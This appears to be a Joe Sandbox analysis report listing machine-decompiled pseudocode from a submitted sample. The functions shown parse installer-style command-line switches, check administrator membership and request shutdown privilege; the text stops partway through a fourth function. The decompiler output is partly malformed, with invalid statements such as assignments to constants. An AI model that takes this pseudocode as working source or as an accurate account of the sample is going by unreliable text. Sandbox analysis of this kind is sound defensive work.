Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: e831385df98155339262e75e3bd869aa9605f55ac713bd4f6e10f618208c65ff
Instruction ID: 531caf0a64486b1d07e5e84c77be840cc98d5e704836c6ec02f0a36561ca7c60
Opcode Fuzzy Hash: e831385df98155339262e75e3bd869aa9605f55ac713bd4f6e10f618208c65ff
Instruction Fuzzy Hash: 72B0123504010CB78F001B82EC088453F1DD6C12607000010F50C414218B3398128585

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00A45C9E Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 422
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E00A45C9E(void* __ebx, CHAR* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				signed int _v12;
				CHAR* _v265;
				char _v266;
				char _v267;
				char _v268;
				CHAR* _v272;
				char _v276;
				signed int _v296;
				char _v556;
				signed int _t61;
				int _t63;
				char _t67;
				CHAR* _t69;
				signed int _t71;
				void* _t75;
				char _t79;
				void* _t83;
				void* _t85;
				void* _t87;
				intOrPtr _t88;
				void* _t100;
				intOrPtr _t101;
				CHAR* _t104;
				intOrPtr _t105;
				void* _t111;
				void* _t115;
				CHAR* _t118;
				void* _t119;
				void* _t127;
				CHAR* _t129;
				void* _t132;
				void* _t142;
				signed int _t143;
				CHAR* _t144;
				void* _t145;
				void* _t146;
				void* _t147;
				void* _t149;
				char _t155;
				void* _t157;
				void* _t162;
				void* _t163;
				char _t167;
				char _t170;
				CHAR* _t173;
				void* _t177;
				intOrPtr* _t183;
				intOrPtr* _t192;
				CHAR* _t199;
				void* _t200;
				CHAR* _t201;
				void* _t205;
				void* _t206;
				int _t209;
				void* _t210;
				void* _t212;
				void* _t213;
				CHAR* _t218;
				intOrPtr* _t219;
				intOrPtr* _t220;
				signed int _t221;
				signed int _t223;

				_t173 = __ecx;
				_t61 =  *0xa48004; // 0x173b1603
				_v8 = _t61 ^ _t221;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t209 = 1;
				if(__ecx == 0 ||  *__ecx == 0) {
					_t63 = 1;
				} else {
					L2:
					while(_t209 != 0) {
						_t67 =  *_t173;
						if(_t67 == 0x20 || _t67 == 9 || _t67 == 0xd || _t67 == 0xa || _t67 == 0xb || _t67 == 0xc) {
							_t173 = CharNextA(_t173);
							continue;
						}
						_v272 = _t173;
						if(_t67 == 0) {
							break;
						} else {
							_t69 = _v272;
							_t177 = 0;
							_t213 = 0;
							_t163 = 0;
							_t202 = 1;
							do {
								if(_t213 != 0) {
									if(_t163 != 0) {
										break;
									} else {
										goto L21;
									}
								} else {
									_t69 =  *_t69;
									if(_t69 == 0x20 || _t69 == 9 || _t69 == 0xd || _t69 == 0xa || _t69 == 0xb || _t69 == 0xc) {
										break;
									} else {
										_t69 = _v272;
										L21:
										_t155 =  *_t69;
										if(_t155 != 0x22) {
											if(_t202 >= 0x104) {
												goto L106;
											} else {
												 *((char*)(_t221 + _t177 - 0x108)) = _t155;
												_t177 = _t177 + 1;
												_t202 = _t202 + 1;
												_t157 = 1;
												goto L30;
											}
										} else {
											if(_v272[1] == 0x22) {
												if(_t202 >= 0x104) {
													L106:
													_t63 = 0;
													L125:
													_pop(_t210);
													_pop(_t212);
													_pop(_t162);
													return E00A46CE0(_t63, _t162, _v8 ^ _t221, _t202, _t210, _t212);
												} else {
													 *((char*)(_t221 + _t177 - 0x108)) = 0x22;
													_t177 = _t177 + 1;
													_t202 = _t202 + 1;
													_t157 = 2;
													goto L30;
												}
											} else {
												_t157 = 1;
												if(_t213 != 0) {
													_t163 = 1;
												} else {
													_t213 = 1;
												}
												goto L30;
											}
										}
									}
								}
								goto L131;
								L30:
								_v272 =  &(_v272[_t157]);
								_t69 = _v272;
							} while ( *_t69 != 0);
							if(_t177 >= 0x104) {
								E00A46E2A(_t69, _t163, _t177, _t202, _t209, _t213);
								asm("int3");
								_push(_t221);
								_t222 = _t223;
								_t71 =  *0xa48004; // 0x173b1603
								_v296 = _t71 ^ _t223;
								if(GetWindowsDirectoryA( &_v556, 0x104) != 0) {
									0x4f0 = 2;
									_t75 = E00A4597D( &_v272, 0x4f0, _t209, 0x4f0); // executed
								} else {
									E00A444B9(0, 0x4f0, _t74, _t74, 0x10, _t74);
									 *0xa49124 = E00A46285();
									_t75 = 0;
								}
								return E00A46CE0(_t75, _t163, _v12 ^ _t222, 0x4f0, _t209, _t213);
							} else {
								 *((char*)(_t221 + _t177 - 0x108)) = 0;
								if(_t213 == 0) {
									if(_t163 != 0) {
										goto L34;
									} else {
										goto L40;
									}
								} else {
									if(_t163 != 0) {
										L40:
										_t79 = _v268;
										if(_t79 == 0x2f || _t79 == 0x2d) {
											_t83 = CharUpperA(_v267) - 0x3f;
											if(_t83 == 0) {
												_t202 = 0x521;
												E00A444B9(0, 0x521, 0xa41140, 0, 0x40, 0);
												_t85 =  *0xa48588; // 0x0
												if(_t85 != 0) {
													CloseHandle(_t85);
												}
												ExitProcess(0);
											}
											_t87 = _t83 - 4;
											if(_t87 == 0) {
												if(_v266 != 0) {
													if(_v266 != 0x3a) {
														goto L49;
													} else {
														_t167 = (0 | _v265 == 0x00000022) + 3;
														_t215 =  &_v268 + _t167;
														_t183 =  &_v268 + _t167;
														_t50 = _t183 + 1; // 0x1
														_t202 = _t50;
														do {
															_t88 =  *_t183;
															_t183 = _t183 + 1;
														} while (_t88 != 0);
														if(_t183 == _t202) {
															goto L49;
														} else {
															_t205 = 0x5b;
															if(E00A4667F(_t215, _t205) == 0) {
																L115:
																_t206 = 0x5d;
																if(E00A4667F(_t215, _t206) == 0) {
																	L117:
																	_t202 =  &_v276;
																	_v276 = _t167;
																	if(E00A45C17(_t215,  &_v276) == 0) {
																		goto L49;
																	} else {
																		_t202 = 0x104;
																		E00A41680(0xa48c42, 0x104, _v276 + _t167 +  &_v268);
																	}
																} else {
																	_t202 = 0x5b;
																	if(E00A4667F(_t215, _t202) == 0) {
																		goto L49;
																	} else {
																		goto L117;
																	}
																}
															} else {
																_t202 = 0x5d;
																if(E00A4667F(_t215, _t202) == 0) {
																	goto L49;
																} else {
																	goto L115;
																}
															}
														}
													}
												} else {
													 *0xa48a24 = 1;
												}
												goto L50;
											} else {
												_t100 = _t87 - 1;
												if(_t100 == 0) {
													L98:
													if(_v266 != 0x3a) {
														goto L49;
													} else {
														_t170 = (0 | _v265 == 0x00000022) + 3;
														_t217 =  &_v268 + _t170;
														_t192 =  &_v268 + _t170;
														_t38 = _t192 + 1; // 0x1
														_t202 = _t38;
														do {
															_t101 =  *_t192;
															_t192 = _t192 + 1;
														} while (_t101 != 0);
														if(_t192 == _t202) {
															goto L49;
														} else {
															_t202 =  &_v276;
															_v276 = _t170;
															if(E00A45C17(_t217,  &_v276) == 0) {
																goto L49;
															} else {
																_t104 = CharUpperA(_v267);
																_t218 = 0xa48b3e;
																_t105 = _v276;
																if(_t104 != 0x54) {
																	_t218 = 0xa48a3a;
																}
																E00A41680(_t218, 0x104, _t105 + _t170 +  &_v268);
																_t202 = 0x104;
																E00A4658A(_t218, 0x104, 0xa41140);
																if(E00A431E0(_t218) != 0) {
																	goto L50;
																} else {
																	goto L106;
																}
															}
														}
													}
												} else {
													_t111 = _t100 - 0xa;
													if(_t111 == 0) {
														if(_v266 != 0) {
															if(_v266 != 0x3a) {
																goto L49;
															} else {
																_t199 = _v265;
																if(_t199 != 0) {
																	_t219 =  &_v265;
																	do {
																		_t219 = _t219 + 1;
																		_t115 = CharUpperA(_t199) - 0x45;
																		if(_t115 == 0) {
																			 *0xa48a2c = 1;
																		} else {
																			_t200 = 2;
																			_t119 = _t115 - _t200;
																			if(_t119 == 0) {
																				 *0xa48a30 = 1;
																			} else {
																				if(_t119 == 0xf) {
																					 *0xa48a34 = 1;
																				} else {
																					_t209 = 0;
																				}
																			}
																		}
																		_t118 =  *_t219;
																		_t199 = _t118;
																	} while (_t118 != 0);
																}
															}
														} else {
															 *0xa48a2c = 1;
														}
														goto L50;
													} else {
														_t127 = _t111 - 3;
														if(_t127 == 0) {
															if(_v266 != 0) {
																if(_v266 != 0x3a) {
																	goto L49;
																} else {
																	_t129 = CharUpperA(_v265);
																	if(_t129 == 0x31) {
																		goto L76;
																	} else {
																		if(_t129 == 0x41) {
																			goto L83;
																		} else {
																			if(_t129 == 0x55) {
																				goto L76;
																			} else {
																				goto L49;
																			}
																		}
																	}
																}
															} else {
																L76:
																_push(2);
																_pop(1);
																L83:
																 *0xa48a38 = 1;
															}
															goto L50;
														} else {
															_t132 = _t127 - 1;
															if(_t132 == 0) {
																if(_v266 != 0) {
																	if(_v266 != 0x3a) {
																		if(CompareStringA(0x7f, 1, "RegServer", 0xffffffff,  &_v267, 0xffffffff) != 0) {
																			goto L49;
																		}
																	} else {
																		_t201 = _v265;
																		 *0xa49a2c = 1;
																		if(_t201 != 0) {
																			_t220 =  &_v265;
																			do {
																				_t220 = _t220 + 1;
																				_t142 = CharUpperA(_t201) - 0x41;
																				if(_t142 == 0) {
																					_t143 = 2;
																					 *0xa49a2c =  *0xa49a2c | _t143;
																					goto L70;
																				} else {
																					_t145 = _t142 - 3;
																					if(_t145 == 0) {
																						 *0xa48d48 =  *0xa48d48 | 0x00000040;
																					} else {
																						_t146 = _t145 - 5;
																						if(_t146 == 0) {
																							 *0xa49a2c =  *0xa49a2c & 0xfffffffd;
																							goto L70;
																						} else {
																							_t147 = _t146 - 5;
																							if(_t147 == 0) {
																								 *0xa49a2c =  *0xa49a2c & 0xfffffffe;
																								goto L70;
																							} else {
																								_t149 = _t147;
																								if(_t149 == 0) {
																									 *0xa48d48 =  *0xa48d48 | 0x00000080;
																								} else {
																									if(_t149 == 3) {
																										 *0xa49a2c =  *0xa49a2c | 0x00000004;
																										L70:
																										 *0xa48a28 = 1;
																									} else {
																										_t209 = 0;
																									}
																								}
																							}
																						}
																					}
																				}
																				_t144 =  *_t220;
																				_t201 = _t144;
																			} while (_t144 != 0);
																		}
																	}
																} else {
																	 *0xa49a2c = 3;
																	 *0xa48a28 = 1;
																}
																goto L50;
															} else {
																if(_t132 == 0) {
																	goto L98;
																} else {
																	L49:
																	_t209 = 0;
																	L50:
																	_t173 = _v272;
																	if( *_t173 != 0) {
																		goto L2;
																	} else {
																		break;
																	}
																}
															}
														}
													}
												}
											}
										} else {
											goto L106;
										}
									} else {
										L34:
										_t209 = 0;
										break;
									}
								}
							}
						}
						goto L131;
					}
					if( *0xa48a2c != 0 &&  *0xa48b3e == 0) {
						if(GetModuleFileNameA( *0xa49a3c, 0xa48b3e, 0x104) == 0) {
							_t209 = 0;
						} else {
							_t202 = 0x5c;
							 *((char*)(E00A466C8(0xa48b3e, _t202) + 1)) = 0;
						}
					}
					_t63 = _t209;
				}
				L131:
			}

0x00a45c9e
0x00a45ca9
0x00a45cb0
0x00a45cb3
0x00a45cb6
0x00a45cb7
0x00a45cb8
0x00a45cbd
0x00a46204
0x00a45ccb
0x00000000
0x00a45ccb
0x00a45cd3
0x00a45cd7
0x00a45cf4
0x00000000
0x00a45cf4
0x00a45cf8
0x00a45d00
0x00000000
0x00a45d06
0x00a45d06
0x00a45d0e
0x00a45d10
0x00a45d12
0x00a45d14
0x00a45d15
0x00a45d17
0x00a45d49
0x00000000
0x00000000
0x00000000
0x00000000
0x00a45d19
0x00a45d19
0x00a45d1d
0x00000000
0x00a45d3f
0x00a45d3f
0x00a45d4b
0x00a45d4b
0x00a45d4f
0x00a45d8d
0x00000000
0x00a45d93
0x00a45d93
0x00a45d9a
0x00a45d9d
0x00a45d9e
0x00000000
0x00a45d9e
0x00a45d51
0x00a45d5b
0x00a45d72
0x00a460fb
0x00a460fb
0x00a46207
0x00a4620a
0x00a4620b
0x00a4620e
0x00a46217
0x00a45d78
0x00a45d78
0x00a45d80
0x00a45d83
0x00a45d84
0x00000000
0x00a45d84
0x00a45d5d
0x00a45d5f
0x00a45d62
0x00a45d68
0x00a45d64
0x00a45d64
0x00a45d64
0x00000000
0x00a45d62
0x00a45d5b
0x00a45d4f
0x00a45d1d
0x00000000
0x00a45d9f
0x00a45d9f
0x00a45da5
0x00a45dab
0x00a45dba
0x00a46218
0x00a4621d
0x00a46220
0x00a46221
0x00a46229
0x00a46230
0x00a46247
0x00a4626a
0x00a46272
0x00a46249
0x00a46255
0x00a4625f
0x00a46264
0x00a46264
0x00a46284
0x00a45dc0
0x00a45dc0
0x00a45dca
0x00a45e22
0x00000000
0x00000000
0x00000000
0x00000000
0x00a45dcc
0x00a45dce
0x00a45e24
0x00a45e24
0x00a45e2c
0x00a45e47
0x00a45e4a
0x00a461d2
0x00a461e2
0x00a461e7
0x00a461ee
0x00a461f1
0x00a461f1
0x00a461f8
0x00a461f8
0x00a45e50
0x00a45e53
0x00a46109
0x00a4611f
0x00000000
0x00a46125
0x00a46137
0x00a4613a
0x00a4613c
0x00a4613e
0x00a4613e
0x00a46141
0x00a46141
0x00a46143
0x00a46144
0x00a4614a
0x00000000
0x00a46150
0x00a46152
0x00a4615c
0x00a46170
0x00a46172
0x00a4617c
0x00a46190
0x00a46190
0x00a46196
0x00a461a5
0x00000000
0x00a461ab
0x00a461b9
0x00a461c6
0x00a461c6
0x00a4617e
0x00a46180
0x00a4618a
0x00000000
0x00000000
0x00000000
0x00000000
0x00a4618a
0x00a4615e
0x00a46160
0x00a4616a
0x00000000
0x00000000
0x00000000
0x00000000
0x00a4616a
0x00a4615c
0x00a4614a
0x00a4610b
0x00a4610e
0x00a4610e
0x00000000
0x00a45e59
0x00a45e59
0x00a45e5c
0x00a4604f
0x00a46056
0x00000000
0x00a4605c
0x00a4606e
0x00a46071
0x00a46073
0x00a46075
0x00a46075
0x00a46078
0x00a46078
0x00a4607a
0x00a4607b
0x00a46081
0x00000000
0x00a46087
0x00a46087
0x00a4608d
0x00a4609c
0x00000000
0x00a460a2
0x00a460aa
0x00a460b2
0x00a460b7
0x00a460bd
0x00a460bf
0x00a460bf
0x00a460d6
0x00a460e0
0x00a460e7
0x00a460f5
0x00000000
0x00000000
0x00000000
0x00000000
0x00a460f5
0x00a4609c
0x00a46081
0x00a45e62
0x00a45e62
0x00a45e65
0x00a45fd3
0x00a45fe9
0x00000000
0x00a45fef
0x00a45fef
0x00a45ff7
0x00a45ffd
0x00a46003
0x00a46006
0x00a46011
0x00a46014
0x00a4603d
0x00a46016
0x00a46018
0x00a46019
0x00a4601b
0x00a46033
0x00a4601d
0x00a46020
0x00a46029
0x00a46022
0x00a46022
0x00a46022
0x00a46020
0x00a4601b
0x00a46042
0x00a46044
0x00a46046
0x00a4604a
0x00a45ff7
0x00a45fd5
0x00a45fd8
0x00a45fd8
0x00000000
0x00a45e6b
0x00a45e6b
0x00a45e6e
0x00a45f8b
0x00a45f99
0x00000000
0x00a45f9f
0x00a45fa7
0x00a45faf
0x00000000
0x00a45fb1
0x00a45fb3
0x00000000
0x00a45fb5
0x00a45fb7
0x00000000
0x00a45fb9
0x00000000
0x00a45fb9
0x00a45fb7
0x00a45fb3
0x00a45faf
0x00a45f8d
0x00a45f8d
0x00a45f8d
0x00a45f8f
0x00a45fc1
0x00a45fc1
0x00a45fc1
0x00000000
0x00a45e74
0x00a45e74
0x00a45e77
0x00a45ea0
0x00a45ebd
0x00a45f79
0x00000000
0x00a45f7f
0x00a45ec3
0x00a45ec3
0x00a45ecc
0x00a45ed4
0x00a45ed6
0x00a45edc
0x00a45edf
0x00a45eea
0x00a45eed
0x00a45f3f
0x00a45f40
0x00000000
0x00a45eef
0x00a45eef
0x00a45ef2
0x00a45f34
0x00a45ef4
0x00a45ef4
0x00a45ef7
0x00a45f2b
0x00000000
0x00a45ef9
0x00a45ef9
0x00a45efc
0x00a45f22
0x00000000
0x00a45efe
0x00a45eff
0x00a45f02
0x00a45f16
0x00a45f04
0x00a45f07
0x00a45f0d
0x00a45f46
0x00a45f46
0x00a45f09
0x00a45f09
0x00a45f09
0x00a45f07
0x00a45f02
0x00a45efc
0x00a45ef7
0x00a45ef2
0x00a45f4c
0x00a45f4e
0x00a45f50
0x00a45f54
0x00a45ed4
0x00a45ea2
0x00a45ea4
0x00a45eaf
0x00a45eaf
0x00000000
0x00a45e79
0x00a45e7d
0x00000000
0x00a45e83
0x00a45e83
0x00a45e83
0x00a45e85
0x00a45e85
0x00a45e8e
0x00000000
0x00a45e94
0x00000000
0x00a45e94
0x00a45e8e
0x00a45e7d
0x00a45e77
0x00a45e6e
0x00a45e65
0x00a45e5c
0x00000000
0x00000000
0x00000000
0x00a45dd0
0x00a45dd0
0x00a45dd0
0x00000000
0x00a45dd0
0x00a45dce
0x00a45dca
0x00a45dba
0x00000000
0x00a45d00
0x00a45dd9
0x00a45e04
0x00a461fe
0x00a45e0a
0x00a45e0c
0x00a45e17
0x00a45e17
0x00a45e04
0x00a46200
0x00a46200
0x00000000

APIs

CharNextA.USER32(?,00000000,?,?), ref: 00A45CEE
GetModuleFileNameA.KERNEL32(00A48B3E,00000104,00000000,?,?), ref: 00A45DFC
CharUpperA.USER32(?), ref: 00A45E3E
CharUpperA.USER32(-00000052), ref: 00A45EE1
CompareStringA.KERNEL32(0000007F,00000001,RegServer,000000FF,?,000000FF), ref: 00A45F6F
CharUpperA.USER32(?), ref: 00A45FA7
CharUpperA.USER32(-0000004E), ref: 00A46008
CharUpperA.USER32(?), ref: 00A460AA
CloseHandle.KERNEL32(00000000,00A41140,00000000,00000040,00000000), ref: 00A461F1
ExitProcess.KERNEL32 ref: 00A461F8

Strings

", xrefs: 00A45D78
:, xrefs: 00A46118
RegServer, xrefs: 00A45F66
", xrefs: 00A4612D

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$"$:$RegServer
API String ID: 1203814774-25366791
Opcode ID: 44c67f821142a378932edfa6ec1e77b768871fbd78f7f3c260be7987f73bacef
Instruction ID: 394c94ce3314c098522f0d7d6f86e5a2795348be340c26d5a65d7d94b1a8bd56
Opcode Fuzzy Hash: 44c67f821142a378932edfa6ec1e77b768871fbd78f7f3c260be7987f73bacef
Instruction Fuzzy Hash: 60D1487DE04A445FDB39CB789C493FA7B61ABD7340F1441AAC486C7192DAB58E878B02

Uniqueness

Uniqueness Score: -1.00%

Function 00A418A3 Relevance: 16.6, APIs: 11, Instructions: 112
memoryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00A418A3(void* __edx, void* __esi) {
				signed int _v8;
				short _v12;
				struct _SID_IDENTIFIER_AUTHORITY _v16;
				char _v20;
				long _v24;
				void* _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				signed int _t23;
				long _t45;
				void* _t49;
				int _t50;
				void* _t52;
				signed int _t53;

				_t51 = __esi;
				_t49 = __edx;
				_t23 =  *0xa48004; // 0x173b1603
				_v8 = _t23 ^ _t53;
				_t25 =  *0xa48128; // 0x2
				_t45 = 0;
				_v12 = 0x500;
				_t50 = 2;
				_v16.Value = 0;
				_v20 = 0;
				if(_t25 != _t50) {
					L20:
					return E00A46CE0(_t25, _t45, _v8 ^ _t53, _t49, _t50, _t51);
				}
				if(E00A417EE( &_v20) != 0) {
					_t25 = _v20;
					if(_v20 != 0) {
						 *0xa48128 = 1;
					}
					goto L20;
				}
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v28) == 0) {
					goto L20;
				}
				if(GetTokenInformation(_v28, _t50, 0, 0,  &_v24) != 0 || GetLastError() != 0x7a) {
					L17:
					CloseHandle(_v28);
					_t25 = _v20;
					goto L20;
				} else {
					_push(__esi);
					_t52 = LocalAlloc(0, _v24);
					if(_t52 == 0) {
						L16:
						_pop(_t51);
						goto L17;
					}
					if(GetTokenInformation(_v28, _t50, _t52, _v24,  &_v24) == 0 || AllocateAndInitializeSid( &_v16, _t50, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v32) == 0) {
						L15:
						LocalFree(_t52);
						goto L16;
					} else {
						if( *_t52 <= 0) {
							L14:
							FreeSid(_v32);
							goto L15;
						}
						_t15 = _t52 + 4; // 0x4
						_t50 = _t15;
						while(EqualSid( *_t50, _v32) == 0) {
							_t45 = _t45 + 1;
							_t50 = _t50 + 8;
							if(_t45 <  *_t52) {
								continue;
							}
							goto L14;
						}
						 *0xa48128 = 1;
						_v20 = 1;
						goto L14;
					}
				}
			}

0x00a418a3
0x00a418a3
0x00a418ab
0x00a418b2
0x00a418b5
0x00a418be
0x00a418c0
0x00a418c6
0x00a418c7
0x00a418ca
0x00a418cf
0x00a419c9
0x00a419d8
0x00a419d8
0x00a418df
0x00a419b8
0x00a419bd
0x00a419bf
0x00a419bf
0x00000000
0x00a419bd
0x00a418fa
0x00000000
0x00000000
0x00a41912
0x00a419aa
0x00a419ad
0x00a419b3
0x00000000
0x00a41927
0x00a41927
0x00a41932
0x00a41936
0x00a419a9
0x00a419a9
0x00000000
0x00a419a9
0x00a4194c
0x00a419a2
0x00a419a3
0x00000000
0x00a4196e
0x00a41970
0x00a41999
0x00a4199c
0x00000000
0x00a4199c
0x00a41972
0x00a41972
0x00a41975
0x00a41984
0x00a41985
0x00a4198a
0x00000000
0x00000000
0x00000000
0x00a4198c
0x00a41991
0x00a41996
0x00000000
0x00a41996
0x00a4194c

APIs

Part of subcall function 00A417EE: LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,00A418DD), ref: 00A4181A
Part of subcall function 00A417EE: GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 00A4182C
Part of subcall function 00A417EE: AllocateAndInitializeSid.ADVAPI32(00A418DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,00A418DD), ref: 00A41855
Part of subcall function 00A417EE: FreeSid.ADVAPI32(?,?,?,?,00A418DD), ref: 00A41883
Part of subcall function 00A417EE: FreeLibrary.KERNEL32(00000000,?,?,?,00A418DD), ref: 00A4188A

GetCurrentProcess.KERNEL32(00000008,?,00000000,00000001), ref: 00A418EB
OpenProcessToken.ADVAPI32(00000000), ref: 00A418F2
GetTokenInformation.ADVAPI32(?,00000002,00000000,00000000,?), ref: 00A4190A
GetLastError.KERNEL32 ref: 00A41918
LocalAlloc.KERNEL32(00000000,?,?), ref: 00A4192C
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?), ref: 00A41944
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00A41964
EqualSid.ADVAPI32(00000004,?), ref: 00A4197A
FreeSid.ADVAPI32(?), ref: 00A4199C
LocalFree.KERNEL32(00000000), ref: 00A419A3
CloseHandle.KERNEL32(?), ref: 00A419AD

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: a45435708c93c61d6be9f2f648a7a919dfca7bafb87563d94350ecd7d7cae439
Instruction ID: f06f9864223443bec2e1784e93c1d77a21b78208179178e3949cb9007e3dcfe3
Opcode Fuzzy Hash: a45435708c93c61d6be9f2f648a7a919dfca7bafb87563d94350ecd7d7cae439
Instruction Fuzzy Hash: 74313B7DA00209ABDB20DFE5EC88AAFBBB8FBD5340B100429E545E2151E7329946CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00A41F90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94
shutdownCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00A41F90(signed int __ecx, void* __edi, void* __esi) {
				signed int _v8;
				int _v12;
				struct _TOKEN_PRIVILEGES _v24;
				void* _v28;
				void* __ebx;
				signed int _t13;
				int _t21;
				void* _t25;
				int _t28;
				signed char _t30;
				void* _t38;
				void* _t40;
				void* _t41;
				signed int _t46;

				_t41 = __esi;
				_t38 = __edi;
				_t30 = __ecx;
				if((__ecx & 0x00000002) != 0) {
					L12:
					if((_t30 & 0x00000004) != 0) {
						L14:
						if( *0xa49a40 != 0) {
							_pop(_t30);
							_t44 = _t46;
							_t13 =  *0xa48004; // 0x173b1603
							_v8 = _t13 ^ _t46;
							_push(_t38);
							if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v28) != 0) {
								LookupPrivilegeValueA(0, "SeShutdownPrivilege",  &(_v24.Privileges));
								_v24.PrivilegeCount = 1;
								_v12 = 2;
								_t21 = AdjustTokenPrivileges(_v28, 0,  &_v24, 0, 0, 0);
								CloseHandle(_v28);
								_t41 = _t41;
								_push(0);
								if(_t21 != 0) {
									if(ExitWindowsEx(2, ??) != 0) {
										_t25 = 1;
									} else {
										_t37 = 0x4f7;
										goto L3;
									}
								} else {
									_t37 = 0x4f6;
									goto L4;
								}
							} else {
								_t37 = 0x4f5;
								L3:
								_push(0);
								L4:
								_push(0x10);
								_push(0);
								_push(0);
								E00A444B9(0, _t37);
								_t25 = 0;
							}
							_pop(_t40);
							return E00A46CE0(_t25, _t30, _v8 ^ _t44, _t37, _t40, _t41);
						} else {
							_t28 = ExitWindowsEx(2, 0);
							goto L16;
						}
					} else {
						_t37 = 0x522;
						_t28 = E00A444B9(0, 0x522, 0xa41140, 0, 0x40, 4);
						if(_t28 != 6) {
							goto L16;
						} else {
							goto L14;
						}
					}
				} else {
					__eax = E00A41EA7(__ecx);
					if(__eax != 2) {
						L16:
						return _t28;
					} else {
						goto L12;
					}
				}
			}

0x00a41f90
0x00a41f90
0x00a41f93
0x00a41f98
0x00a41fa4
0x00a41fa7
0x00a41fc5
0x00a41fcd
0x00a41fdb
0x00a41ee5
0x00a41eea
0x00a41ef1
0x00a41ef4
0x00a41f0c
0x00a41f2e
0x00a41f3a
0x00a41f46
0x00a41f4d
0x00a41f58
0x00a41f60
0x00a41f61
0x00a41f62
0x00a41f75
0x00a41f80
0x00a41f77
0x00a41f77
0x00000000
0x00a41f77
0x00a41f64
0x00a41f64
0x00000000
0x00a41f64
0x00a41f0e
0x00a41f0e
0x00a41f13
0x00a41f13
0x00a41f14
0x00a41f14
0x00a41f16
0x00a41f17
0x00a41f1a
0x00a41f1f
0x00a41f1f
0x00a41f86
0x00a41f8f
0x00a41fcf
0x00a41fd3
0x00000000
0x00a41fd3
0x00a41fa9
0x00a41fb4
0x00a41fbb
0x00a41fc3
0x00000000
0x00000000
0x00000000
0x00000000
0x00a41fc3
0x00a41f9a
0x00a41f9a
0x00a41fa2
0x00a41fd9
0x00a41fda
0x00000000
0x00000000
0x00000000
0x00a41fa2

APIs

GetCurrentProcess.KERNEL32(00000028,?,?), ref: 00A41EFB
OpenProcessToken.ADVAPI32(00000000), ref: 00A41F02
ExitWindowsEx.USER32(00000002,00000000), ref: 00A41FD3

Strings

SeShutdownPrivilege, xrefs: 00A41F28

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Process$CurrentExitOpenTokenWindows
String ID: SeShutdownPrivilege
API String ID: 2795981589-3733053543
Opcode ID: 2dd815afe7811a4cd7f3d9026e1a9a5f6cc53ec750e62908cf877d0cef950267
Instruction ID: ff8fe2553119d182c79606ff01d9b788503107e7cf3299140aaa71e28cec08a2
Opcode Fuzzy Hash: 2dd815afe7811a4cd7f3d9026e1a9a5f6cc53ec750e62908cf877d0cef950267
Instruction Fuzzy Hash: 8021D67DB402056BDB209BE59C4AFBF76B8EBC6B50F20051AFA02D6181D77688879261

Uniqueness

Uniqueness Score: -1.00%

Function 00A47155 Relevance: 7.6, APIs: 5, Instructions: 51
timethreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A47155() {
				void* _v8;
				struct _FILETIME _v16;
				signed int _v20;
				union _LARGE_INTEGER _v24;
				signed int _t23;
				signed int _t36;
				signed int _t37;
				signed int _t39;

